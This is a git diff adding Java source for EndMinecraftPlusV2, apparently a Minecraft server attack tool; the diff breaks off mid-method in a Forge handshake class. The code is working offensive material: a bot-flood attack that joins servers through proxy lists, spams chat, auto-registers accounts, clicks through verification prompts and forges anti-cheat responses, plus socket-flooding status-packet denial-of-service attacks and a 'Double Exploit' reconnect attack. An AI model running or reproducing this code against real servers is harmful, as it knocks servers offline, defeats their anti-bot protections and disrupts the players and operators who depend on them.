uncompress(byte[] data) { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(data); + try { + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + } catch (IOException e) { + } + + return new String(out.toByteArray()); + } + + public String md5(byte[] buf) { + try { + MessageDigest md = MessageDigest.getInstance("MD5"); + md.update(buf); + byte[] digest = md.digest(); + return String.format("%0" + (digest.length << 1) + "x", new BigInteger(1, digest)); + } catch (NoSuchAlgorithmException e) { + return null; + } + } +} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/Methods/BotAttack.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/Methods/BotAttack.java new file mode 100644 index 0000000..0827a81 --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/Methods/BotAttack.java @@ -0,0 +1,374 @@ +package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.AttackUtils.Methods; + +import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ACProtocol.AnotherStarAntiCheat; +import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ACProtocol.AntiCheat3; +import cn.serendipityr.EndMinecraftPlusV2.VersionControl.AttackManager; +import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol.MCForge; +import cn.serendipityr.EndMinecraftPlusV2.Tools.*; +import io.netty.util.internal.ConcurrentSet; +import org.spacehq.mc.protocol.MinecraftProtocol; +import org.spacehq.mc.protocol.data.message.Message; +import org.spacehq.mc.protocol.packet.ingame.client.ClientChatPacket; +import org.spacehq.mc.protocol.packet.ingame.client.ClientPluginMessagePacket; +import org.spacehq.mc.protocol.packet.ingame.client.player.ClientPlayerMovementPacket; +import org.spacehq.mc.protocol.packet.ingame.server.ServerChatPacket; +import org.spacehq.mc.protocol.packet.ingame.server.ServerJoinGamePacket; +import org.spacehq.mc.protocol.packet.ingame.server.ServerPluginMessagePacket; +import org.spacehq.mc.protocol.packet.ingame.server.entity.player.ServerPlayerPositionRotationPacket; +import org.spacehq.packetlib.Client; +import org.spacehq.packetlib.Session; +import org.spacehq.packetlib.event.session.*; +import org.spacehq.packetlib.packet.Packet; +import org.spacehq.packetlib.tcp.TcpSessionFactory; + +import java.io.InputStream; +import java.io.OutputStream; +import java.net.InetSocketAddress; +import java.net.Proxy; +import java.net.Socket; +import java.util.*; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; + +public class BotAttack extends IAttack { + public static HashMap clientName = new HashMap<>(); + public static int failed = 0; + public static int joined = 0; + public static int rejoin = 0; + public static int clickVerifies = 0; + public static List alivePlayers = new ArrayList<>(); + protected boolean attack_motdbefore; + protected boolean attack_tab; + protected Map modList; + + private Thread mainThread; + private Thread tabThread; + private Thread taskThread; + + public Set clients = new ConcurrentSet<>(); + public ExecutorService pool = Executors.newCachedThreadPool(); + + private static final AntiCheat3 ac3 = new AntiCheat3(); + private static final AnotherStarAntiCheat asac = new AnotherStarAntiCheat(); + + private long starttime; + + public BotAttack(String ip, int port, int time, int maxconnect, long joinsleep) { + super(ip, port, time, maxconnect, joinsleep); + } + + public void setBotConfig(boolean motdbefore, boolean tab, Map modList) { + this.attack_motdbefore = motdbefore; + this.attack_tab = tab; + this.modList = modList; + } + + public String getRandMessage(String userName) { + return ConfigUtil.CustomChat.get(new Random().nextInt(ConfigUtil.CustomChat.size())).replace("$rnd",OtherUtils.getRandomString(4,6).replace("$pwd",DataUtil.botRegPasswordsMap.get(userName))); + } + + public void start() { + setTask(() -> { + while (true) { + for (Client c : clients) { + if (c.getSession().isConnected()) { + if (c.getSession().hasFlag("login")) { + if (ConfigUtil.ChatSpam) { + c.getSession().send(new ClientChatPacket(getRandMessage(clientName.get(c)))); + } + + OtherUtils.doSleep(ConfigUtil.ChatDelay); + } else if (c.getSession().hasFlag("join")) { + if (ConfigUtil.RegisterAndLogin) { + for (String cmd:ConfigUtil.RegisterCommands) { + c.getSession().send(new ClientChatPacket(cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c))))); + OtherUtils.doSleep(ConfigUtil.ChatDelay); + } + } + + c.getSession().setFlag("login", true); + } + } + } + OtherUtils.doSleep(5 * 1000); + } + }); + + this.starttime = System.currentTimeMillis(); + + mainThread = new Thread(() -> { + while (true) { + try { + cleanClients(); + createClients(ip, port); + OtherUtils.doSleep(10 * 1000); + + if (this.attack_time > 0 && (System.currentTimeMillis() - this.starttime) / 1000 > this.attack_time) { + for (Client c : clients) { + c.getSession().disconnect(""); + } + stop(); + return; + } + LogUtil.doLog(0, "当前连接数: " + clients.size() + "个", "BotAttack"); + } catch (Exception e) { + LogUtil.doLog(1, "发生错误: " + e, null); + } + } + }); + + if (this.attack_tab) { + tabThread = new Thread(() -> { + while (true) { + SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joined + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin); + + for (Client c : clients) { + if (c.getSession().isConnected() && c.getSession().hasFlag("join")) { + MultiVersionPacket.sendTabPacket(c.getSession(), "/"); + } + } + + OtherUtils.doSleep(10); + } + }); + } + + mainThread.start(); + if (tabThread != null) + tabThread.start(); + if (taskThread != null) + taskThread.start(); + } + + @SuppressWarnings("deprecation") + public void stop() { + mainThread.stop(); + if (tabThread != null) + tabThread.stop(); + if (taskThread != null) + taskThread.stop(); + } + + public void setTask(Runnable task) { + taskThread = new Thread(task); + } + + private void cleanClients() { + clients.removeIf(c -> !c.getSession().isConnected()); + } + + private void createClients(final String ip, int port) { + Proxy.Type proxyType; + switch (ConfigUtil.ProxyType) { + case 2: + proxyType = Proxy.Type.SOCKS; + break; + case 1: + default: + proxyType = Proxy.Type.HTTP; + break; + } + + for (String p: ProxyUtil.proxies) { + try { + String[] _p = p.split(":"); + Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1]))); + String[] User = AttackManager.getRandomUser().split("@"); + Client client = createClient(ip, port, User[0], proxy); + client.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.ConnectDelay)); + client.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectDelay)); + clientName.put(client, User[0]); + clients.add(client); + ProxyUtil.clientsProxy.put(client.getSession(), proxy); + + if (this.attack_motdbefore) { + pool.submit(() -> { + getMotd(proxy, ip, port); + client.getSession().connect(false); + }); + } else { + client.getSession().connect(false); + } + + if (this.attack_maxconnect > 0 && (clients.size() > this.attack_maxconnect)) + return; + if (this.attack_joinsleep > 0) + OtherUtils.doSleep(attack_joinsleep); + } catch (Exception e) { + LogUtil.doLog(1, "发生错误: " + e, null); + } + } + } + + public Client createClient(final String ip, int port, final String username, Proxy proxy) { + Client client = new Client(ip, port, new MinecraftProtocol(username), new TcpSessionFactory(proxy)); + new MCForge(client.getSession(), this.modList).init(); + + client.getSession().addListener(new SessionListener() { + public void packetReceived(PacketReceivedEvent e) { + handlePacket(e.getSession(), e.getPacket(), username); + } + + public void packetSent(PacketSentEvent e) { + } + + public void connected(ConnectedEvent e) { + } + + public void disconnecting(DisconnectingEvent e) { + } + + public void disconnected(DisconnectedEvent e) { + String msg; + + if (e.getCause() == null) { + msg = e.getReason(); + LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + msg, "BotAttack"); + + if (ConfigUtil.SaveWorkingProxy) { + ProxyUtil.saveWorkingProxy(proxy); + } + + for (String rejoinDetect:ConfigUtil.RejoinDetect) { + if (msg.contains(rejoinDetect)) { + for (int i = 0; i < ConfigUtil.RejoinCount; i++) { + Client rejoinClient = createClient(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, username, proxy); + rejoinClient.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.RejoinDelay)); + rejoinClient.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.RejoinDelay)); + + rejoin++; + LogUtil.doLog(0,"[假人尝试重连] [" + username + "] [" + proxy + "]", "BotAttack"); + clientName.put(rejoinClient, username); + clients.add(rejoinClient); + rejoinClient.getSession().connect(false); + + OtherUtils.doSleep(ConfigUtil.RejoinDelay); + + if (rejoinClient.getSession().hasFlag("join") || rejoinClient.getSession().hasFlag("login")) { + break; + } + } + } + } + } else if (ConfigUtil.ShowFails) { + msg = e.getCause().getMessage(); + LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + msg, "BotAttack"); + } + + failed++; + alivePlayers.remove(username); + + client.getSession().disconnect(""); + clients.remove(client); + } + }); + return client; + } + + public void getMotd(Proxy proxy, String ip, int port) { + try { + Socket socket = new Socket(proxy); + socket.connect(new InetSocketAddress(ip, port)); + if (socket.isConnected()) { + OutputStream out = socket.getOutputStream(); + InputStream in = socket.getInputStream(); + out.write(new byte[]{0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01}); + out.write(new byte[]{0x01, 0x00}); + out.flush(); + in.read(); + + try { + in.close(); + out.close(); + socket.close(); + } catch (Exception ignored) {} + + return; + } + socket.close(); + } catch (Exception ignored) {} + } + + protected void handlePacket(Session session, Packet recvPacket, String username) { + if (recvPacket instanceof ServerPluginMessagePacket) { + ServerPluginMessagePacket packet = (ServerPluginMessagePacket) recvPacket; + switch (packet.getChannel()) { + case "AntiCheat3.4.3": + String code = ac3.uncompress(packet.getData()); + byte[] checkData = ac3.getCheckData("AntiCheat3.jar", code, + new String[]{"44f6bc86a41fa0555784c255e3174260"}); + session.send(new ClientPluginMessagePacket("AntiCheat3.4.3", checkData)); + break; + case "anotherstaranticheat": + String salt = asac.decodeSPacket(packet.getData()); + byte[] data = asac.encodeCPacket(new String[]{"4863f8708f0c24517bb5d108d45f3e15"}, salt); + session.send(new ClientPluginMessagePacket("anotherstaranticheat", data)); + break; + case "VexView": + if (new String(packet.getData()).equals("GET:Verification")) + session.send(new ClientPluginMessagePacket("VexView", "Verification:1.8.10".getBytes())); + break; + default: + } + } else if (recvPacket instanceof ServerJoinGamePacket) { + session.setFlag("join", true); + LogUtil.doLog(0, "[假人加入服务器] [" + username + "]", "BotAttack"); + joined++; + + if (ConfigUtil.SaveWorkingProxy) { + ProxyUtil.saveWorkingProxy(ProxyUtil.clientsProxy.get(session)); + } + + if (!alivePlayers.contains(username)) { + alivePlayers.add(username); + } + + MultiVersionPacket.sendClientSettingPacket(session, "zh_CN"); + MultiVersionPacket.sendClientPlayerChangeHeldItemPacket(session, 1); + } else if (recvPacket instanceof ServerPlayerPositionRotationPacket) { + try { + ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket; + MultiVersionPacket.sendPosPacket(session, packet.getX(), packet.getY(), packet.getZ(), packet.getYaw(), packet.getYaw()); + session.send(new ClientPlayerMovementPacket(true)); + MultiVersionPacket.sendClientTeleportConfirmPacket(session, packet); + } catch (Exception ignored) {} + + } else if (recvPacket instanceof ServerChatPacket) { + ServerChatPacket chatPacket = (ServerChatPacket) recvPacket; + clickVerifiesHandle(chatPacket.getMessage(), session, username); + } + } + + public static void clickVerifiesHandle(Message message, Session session, String username) { + boolean needClick = false; + + if (message.getStyle().getClickEvent() != null) { + for (String clickVerifiesDetect:ConfigUtil.ClickVerifiesDetect) { + if (message.getText().contains(clickVerifiesDetect)) { + needClick = true; + break; + } + } + } + + if (needClick) { + LogUtil.doLog(0, "[服务端返回验证信息] [" + username + "] " + message.getStyle().getClickEvent().getValue(), "BotAttack"); + session.send(new ClientChatPacket(message.getStyle().getClickEvent().getValue())); + clickVerifies++; + } else { + if (!message.getText().equals("")) { + LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + message, "BotAttack"); + } + + if (!alivePlayers.contains(username)) { + alivePlayers.add(username); + } + } + + if (message.getExtra() != null && !message.getExtra().isEmpty()) { + for (Message extraMessage:message.getExtra()) { + clickVerifiesHandle(extraMessage, session, username); + } + } + } +} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/Methods/DoubleAttack.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/Methods/DoubleAttack.java new file mode 100644 index 0000000..8ca8d7d --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/Methods/DoubleAttack.java @@ -0,0 +1,37 @@ +package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.AttackUtils.Methods; + +import cn.serendipityr.EndMinecraftPlusV2.Tools.SetTitle; +import org.spacehq.mc.protocol.packet.ingame.server.ServerJoinGamePacket; +import org.spacehq.packetlib.Client; +import org.spacehq.packetlib.Session; +import org.spacehq.packetlib.packet.Packet; + +import java.net.Proxy; + +public class DoubleAttack extends BotAttack { + private String username; + private Integer totalTimes = 0; + private Integer runTimes = 0; + + public DoubleAttack(String ip, int port, int time, int maxconnect, long joinsleep) { + super(ip, port, time, maxconnect, joinsleep); + } + + public void setUsername(String username) { + this.username = username; + } + + public Client createClient(String ip, int port, String username, Proxy proxy) { + totalTimes++; + return super.createClient(ip, port, this.username, proxy); + } + + protected void handlePacket(Session session, Packet recvPacket, String username) { + super.handlePacket(session, recvPacket, username); + if (recvPacket instanceof ServerJoinGamePacket) { + session.disconnect("Double Exploit - Connection Reset!"); + runTimes++; + SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - DoubleAttack | 总连接数: " + totalTimes + "次 | 尝试分身: " + runTimes + "次"); + } + } +} \ No newline at end of file diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/Methods/IAttack.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/Methods/IAttack.java new file mode 100644 index 0000000..fa149f6 --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/Methods/IAttack.java @@ -0,0 +1,22 @@ +package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.AttackUtils.Methods; + +public abstract class IAttack { + public String ip; + public int port; + + public int attack_time; + public int attack_maxconnect; + public long attack_joinsleep; + + public IAttack(String ip, int port, int time, int maxconnect, long joinsleep) { + this.ip = ip; + this.port = port; + this.attack_time = time; + this.attack_maxconnect = maxconnect; + this.attack_joinsleep = joinsleep; + } + + public abstract void start(); + + public abstract void stop(); +} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/Methods/MotdAttack.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/Methods/MotdAttack.java new file mode 100644 index 0000000..da1d97f --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/Methods/MotdAttack.java @@ -0,0 +1,73 @@ +package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.AttackUtils.Methods; + +import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil; +import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils; +import cn.serendipityr.EndMinecraftPlusV2.Tools.SetTitle; + +import java.io.IOException; +import java.io.OutputStream; +import java.net.InetSocketAddress; +import java.net.Socket; +import java.util.ArrayList; +import java.util.List; + +public class MotdAttack extends IAttack { + public List threads = new ArrayList<>(); + private int runTimes = 0; + private int errorTimes = 0; + public MotdAttack(String ip, int port, int time, int maxconnect, long joinsleep) { + super(ip, port, time, maxconnect, joinsleep); + } + + public void start() { + Runnable task = () -> { + while (true) { + try { + Socket socket = new Socket(); + socket.connect(new InetSocketAddress(ip, port)); + if (socket.isConnected()) { + LogUtil.doLog(0, "正在发送Motd更新数据包...", "MotdAttack#" + Thread.currentThread().getName()); + OutputStream out = socket.getOutputStream(); + out.write(new byte[] { 0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01 }); + out.flush(); + while (socket.isConnected()) { + for (int i = 0; i < 10; i++) { + SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - MotdAttack | 总连接数: " + threads.size() + "个 | 发包次数: " + runTimes + "次 | 错误次数: " + errorTimes); + out.write(new byte[] { 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, + 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00 }); + runTimes++; + } + out.flush(); + } + try { + out.close(); + socket.close(); + } catch (IOException ignored) {} + LogUtil.doLog(0, "连接已断开。", "MotdAttack#" + Thread.currentThread().getName()); + OtherUtils.doSleep(attack_joinsleep); + } + } catch (Throwable e) { + LogUtil.doLog(0, "发生错误: " + e, "MotdAttack#" + Thread.currentThread().getName()); + errorTimes++; + } + } + }; + + if (this.attack_maxconnect < 1) { + this.attack_maxconnect = 10; + } + + for (int i = 0; i < this.attack_maxconnect; i++) { + Thread thread = new Thread(task); + thread.setName(String.valueOf(i + 1)); + thread.start(); + threads.add(thread); + } + } + + @SuppressWarnings("deprecation") + public void stop() { + threads.forEach(Thread::stop); + } + +} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/Methods/MotdAttackP.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/Methods/MotdAttackP.java new file mode 100644 index 0000000..4202563 --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/Methods/MotdAttackP.java @@ -0,0 +1,92 @@ +package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.AttackUtils.Methods; + +import cn.serendipityr.EndMinecraftPlusV2.Tools.*; + +import java.io.IOException; +import java.io.OutputStream; +import java.net.InetSocketAddress; +import java.net.Proxy; +import java.net.Socket; +import java.util.ArrayList; +import java.util.List; + +public class MotdAttackP extends IAttack { + public List threads = new ArrayList<>(); + private int runTimes = 0; + private int errorTimes = 0; + + public MotdAttackP(String ip, int port, int time, int maxconnect, long joinsleep) { + super(ip, port, time, maxconnect, joinsleep); + } + + public void start() { + Proxy.Type proxyType; + switch (ConfigUtil.ProxyType) { + case 2: + proxyType = Proxy.Type.SOCKS; + break; + case 1: + default: + proxyType = Proxy.Type.HTTP; + break; + } + + for (String p: ProxyUtil.proxies) { + try { + String[] _p = p.split(":"); + Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1]))); + Thread thread = createThread(proxy, ip, port); + thread.start(); + threads.add(thread); + if (this.attack_maxconnect > 0 && (threads.size() > this.attack_maxconnect)) + return; + } catch (Exception e) { + LogUtil.doLog(1,"发生错误: " + e, null); + } + } + } + + @SuppressWarnings("deprecation") + public void stop() { + threads.forEach(Thread::stop); + } + + public Thread createThread(Proxy proxy, String ip, int port) { + Runnable task = () -> { + while (true) { + try { + Socket socket = new Socket(proxy); + socket.connect(new InetSocketAddress(ip, port)); + if (socket.isConnected()) { + LogUtil.doLog(0, "正在发送Motd刷新数据包...", "MotdAttackP#" + Thread.currentThread().getName()); + OutputStream out = socket.getOutputStream(); + out.write(new byte[]{0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01}); + out.flush(); + while (socket.isConnected()) { + for (int i = 0; i < 10; i++) { + SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - MotdAttack | 总连接数: " + threads.size() + "个 | 发包次数: " + runTimes + "次 | 错误次数: " + errorTimes); + out.write(new byte[]{0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, + 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00}); + runTimes++; + } + out.flush(); + } + try { + out.close(); + socket.close(); + } catch (IOException ignored) { + } + + LogUtil.doLog(0, "连接已断开。", "MotdAttackP#" + Thread.currentThread().getName()); + } + } catch (Throwable e) { + LogUtil.doLog(0, "发生错误: " + e, "MotdAttackP#" + Thread.currentThread().getName()); + errorTimes++; + } + + OtherUtils.doSleep(attack_joinsleep); + } + }; + return new Thread(task); + } +} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/Methods/MultiVersionPacket.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/Methods/MultiVersionPacket.java new file mode 100644 index 0000000..36931fd --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/Methods/MultiVersionPacket.java @@ -0,0 +1,94 @@ +package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.AttackUtils.Methods; + +import org.spacehq.mc.protocol.packet.ingame.client.ClientSettingsPacket; +import org.spacehq.mc.protocol.packet.ingame.client.ClientTabCompletePacket; +import org.spacehq.mc.protocol.packet.ingame.client.player.ClientPlayerPositionRotationPacket; +import org.spacehq.mc.protocol.packet.ingame.server.entity.player.ServerPlayerPositionRotationPacket; +import org.spacehq.packetlib.Session; +import org.spacehq.packetlib.packet.Packet; + +import java.lang.reflect.Array; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; + +public class MultiVersionPacket { + public static void sendTabPacket(Session session, String text) { + try { + Class cls = ClientTabCompletePacket.class; + Constructor constructor = cls.getDeclaredConstructor(); + constructor.setAccessible(true); + ClientTabCompletePacket packet = (ClientTabCompletePacket) constructor.newInstance(); + Field field = cls.getDeclaredField("text"); + field.setAccessible(true); + field.set(packet, text); + session.send(packet); + } catch (Exception ignored) {} + } + + public static void sendPosPacket(Session session, double x, double y, double z, float yaw, float pitch) { + try { + Class cls = ClientPlayerPositionRotationPacket.class; + Constructor constructor; + ClientPlayerPositionRotationPacket packet; + try { + constructor = cls.getConstructor(boolean.class, double.class, double.class, double.class, float.class, float.class); + packet = (ClientPlayerPositionRotationPacket) constructor.newInstance(true, x, y, z, yaw, pitch); + } catch (NoSuchMethodException ex) { + constructor = cls.getConstructor(boolean.class, double.class, double.class, double.class, double.class, float.class, float.class); + packet = (ClientPlayerPositionRotationPacket) constructor.newInstance(true, x, y - 1.62, y , z, yaw, pitch); + } + session.send(packet); + } catch (Exception ignored) {} + } + + public static void sendClientSettingPacket(Session session, String locale) { + try { + Class cls = ClientSettingsPacket.class; + Constructor constructor; + ClientSettingsPacket packet; + try { + Class parm1Class = Class.forName("org.spacehq.mc.protocol.data.game.setting.ChatVisibility"); + Class parm2Class = Class.forName("[Lorg.spacehq.mc.protocol.data.game.setting.SkinPart;"); + Class parm3Class = Class.forName("org.spacehq.mc.protocol.data.game.entity.player.Hand"); + + Class skinClass = Class.forName("org.spacehq.mc.protocol.data.game.setting.SkinPart"); + Object[] arrSkin = (Object[]) Array.newInstance(skinClass, 1); + Array.set(arrSkin, 0, skinClass.getEnumConstants()[0]); + + constructor = cls.getConstructor(String.class, int.class, parm1Class, boolean.class, parm2Class, parm3Class); + packet = (ClientSettingsPacket) constructor.newInstance(locale, 10, parm1Class.getEnumConstants()[0], true, arrSkin, parm3Class.getEnumConstants()[0]); + } catch (NoSuchMethodException ex) { + Class parm1Class = Class.forName("org.spacehq.mc.protocol.packet.ingame.client.ClientSettingsPacket.ChatVisibility"); + Class parm2Class = Class.forName("org.spacehq.mc.protocol.packet.ingame.client.ClientSettingsPacket.Difficulty"); + + constructor = cls.getConstructor(String.class, int.class, parm1Class, boolean.class, parm2Class, boolean.class); + packet = (ClientSettingsPacket) constructor.newInstance(locale, 10, parm1Class.getEnumConstants()[0], true, parm2Class.getEnumConstants()[0], true); + } + session.send(packet); + } catch (Exception ignored) {} + } + + public static void sendClientPlayerChangeHeldItemPacket(Session session, int slot) { + try { + Class cls = Class.forName("org.spacehq.mc.protocol.packet.ingame.client.player.ClientPlayerChangeHeldItemPacket"); + Constructor constructor = cls.getConstructor(int.class); + Packet packet = (Packet) constructor.newInstance(slot); + session.send(packet); + } catch (Exception ignored) {} + } + + public static void sendClientTeleportConfirmPacket(Session session, int id) { + try { + Class cls = Class.forName("org.spacehq.mc.protocol.packet.ingame.client.world.ClientTeleportConfirmPacket"); + Constructor constructor = cls.getConstructor(int.class); + Packet packet = (Packet) constructor.newInstance(id); + session.send(packet); + } catch (Exception ignored) {} + } + + public static void sendClientTeleportConfirmPacket(Session session, ServerPlayerPositionRotationPacket packet) { + try { + sendClientTeleportConfirmPacket(session, (int) ServerPlayerPositionRotationPacket.class.getMethod("getTeleportId").invoke(packet)); + } catch (Exception ignored) {} + } +} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForge.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForge.java new file mode 100644 index 0000000..442e601 --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForge.java @@ -0,0 +1,101 @@ +package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol; + +import org.spacehq.mc.protocol.packet.ingame.client.ClientPluginMessagePacket; +import org.spacehq.mc.protocol.packet.ingame.server.ServerPluginMessagePacket; +import org.spacehq.packetlib.Session; +import org.spacehq.packetlib.event.session.*; + +import java.lang.reflect.Field; +import java.util.Map; + +public class MCForge { + private final MCForgeHandShake handshake; + + public Map modList; + public Session session; + + public MCForge(Session session, Map modList) { + this.modList = modList; + this.session = session; + this.handshake = isAfterVersion1_13() ? new MCForgeHandShakeV2(this) : new MCForgeHandShakeV1(this); + } + + public void init() { + this.session.addListener(new SessionListener() { + public void packetReceived(PacketReceivedEvent e) { + if (e.getPacket() instanceof ServerPluginMessagePacket) { + handle(e.getPacket()); + } else if (e.getPacket().getClass().getSimpleName().equals("LoginPluginRequestPacket")) { + handshake.handle(e.getPacket()); + } + } + + public void packetSent(PacketSentEvent e) { + } + + public void connected(ConnectedEvent e) { + modifyHost(); + } + + public void disconnecting(DisconnectingEvent e) { + } + + public void disconnected(DisconnectedEvent e) { + } + }); + } + + public void handle(ServerPluginMessagePacket packet) { + switch (packet.getChannel()) { + case "FML|HS": + this.handshake.handle(packet); + break; + case "REGISTER": + case "minecraft:register": // 1.13 + this.session.send(new ClientPluginMessagePacket(packet.getChannel(), packet.getData())); + break; + case "MC|Brand": + case "minecraft:brand": // 1.13 + this.session.send(new ClientPluginMessagePacket(packet.getChannel(), "fml,forge".getBytes())); + break; + } + } + + public void modifyHost() { + try { + Class cls = this.session.getClass().getSuperclass(); + + Field field = cls.getDeclaredField("host"); + field.setAccessible(true); + + field.set(this.session, this.session.getHost() + "\0" + handshake.getFMLVersion() + "\0"); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public static boolean isVersion1710() { + return (getProtocolVersion() == 5); + } + + public static boolean isAfterVersion1_13() { + return (getProtocolVersion() >= 393); + } + + public static int getProtocolVersion() { + try { + Class cls; + try { + cls = Class.forName("org.spacehq.mc.protocol.ProtocolConstants"); + } catch (ClassNotFoundException e) { + cls = Class.forName("org.spacehq.mc.protocol.MinecraftConstants"); + } + + Field field = cls.getDeclaredField("PROTOCOL_VERSION"); + return field.getInt(null); + } catch (Exception e) { + e.printStackTrace(); + return 0; + } + } +} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForgeHandShake.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForgeHandShake.java new file mode 100644 index 0000000..ffe2d8e --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForgeHandShake.java @@ -0,0 +1,14 @@ +package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol; + +import org.spacehq.packetlib.packet.Packet; + +public abstract class MCForgeHandShake { + protected MCForge forge; + + public MCForgeHandShake(MCForge forge) { + this.forge = forge; + } + + public abstract void handle(Packet recvPacket); + public abstract String getFMLVersion(); +} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForgeHandShakeV1.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForgeHandShakeV1.java new file mode 100644 index 0000000..4258163 --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForgeHandShakeV1.java @@ -0,0 +1,75 @@ +package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol; + +import org.spacehq.mc.protocol.packet.ingame.client.ClientPluginMessagePacket; +import org.spacehq.mc.protocol.packet.ingame.server.ServerPluginMessagePacket; +import org.spacehq.packetlib.Session; +import org.spacehq.packetlib.io.stream.StreamNetOutput; +import org.spacehq.packetlib.packet.Packet; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; + +public class MCForgeHandShakeV1 extends MCForgeHandShake { + public MCForgeHandShakeV1(MCForge forge) { + super(forge); + } + + public void handle(Packet recvPacket) { + ServerPluginMessagePacket packet = (ServerPluginMessagePacket) recvPacket; + Session session = forge.session; + + byte[] data = packet.getData(); + int packetID = data[0]; + + switch (packetID) { + case 0: // Hello + sendPluginMessage(session, packet.getChannel(), new byte[] { 0x01, 0x02 }); + + // ModList + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + StreamNetOutput out = new StreamNetOutput(buf); + try { + out.writeVarInt(2); + out.writeByte(forge.modList.size()); + forge.modList.forEach((k, v) -> { + try { + out.writeString(k); + 